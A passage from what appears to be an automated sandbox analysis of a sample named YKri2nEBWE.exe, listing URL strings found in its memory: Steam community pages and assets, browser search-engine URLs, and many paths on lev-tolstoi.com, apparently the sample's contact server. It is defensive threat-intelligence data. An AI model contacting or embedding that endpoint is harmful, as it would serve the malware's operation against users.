00000000.00000003.2174533511.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2326949332.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: YKri2nEBWE.exe, 00000000.00000003.2283078885.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282746044.000000000159C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283719723.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2284073141.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2309668421.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368577753.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2286941764.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2287405344.00000000015AA000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366814829.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174533511.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2326949332.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366814829.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174533511.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2326949332.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: YKri2nEBWE.exe, 00000000.00000003.2255321255.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: YKri2nEBWE.exe, 00000000.00000003.2255321255.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: YKri2nEBWE.exe, 00000000.00000003.2283078885.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282746044.000000000159C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283719723.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2284073141.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2286941764.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.=
Source: YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly
Source: YKri2nEBWE.exe, 00000000.00000003.2283078885.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282746044.000000000159C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283719723.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2284073141.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2286941764.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamb
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstat#
Source: YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatiS
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.cc
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com
Source: YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/g
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=E
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.000000000152B000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174533511.00000000015BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.000000000152C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=s
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTR
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportec
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?C
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&am
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.j3
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatics
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.y
Source: YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: YKri2nEBWE.exe, 00000000.00000003.2176974679.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177049592.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2177131102.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: YKri2nEBWE.exe, 00000000.00000003.2287052008.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282630199.0000000005DF0000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366999109.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368272162.0000000001532000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282746044.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368499776.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2284073141.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368621513.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283684889.0000000005DF0000.00000004.00000800.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174849256.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283078885.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/0
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/W
Source: YKri2nEBWE.exe, 00000000.00000003.2151486923.0000000001571000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2326949332.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174829287.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiB
Source: YKri2nEBWE.exe, 00000000.00000002.2368272162.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiS
Source: YKri2nEBWE.exe, 00000000.00000002.2368577753.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366814829.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2326949332.000000000159E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apil
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174849256.0000000001571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apimC
Source: YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366999109.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368621513.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apis
Source: YKri2nEBWE.exe, 00000000.00000002.2368577753.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366814829.00000000015B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apix
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366999109.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368621513.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174849256.0000000001571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: YKri2nEBWE.exe, 00000000.00000003.2366999109.00000000015CE000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368621513.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/piNXxr&
Source: YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/t
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2174849256.0000000001571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/uo0
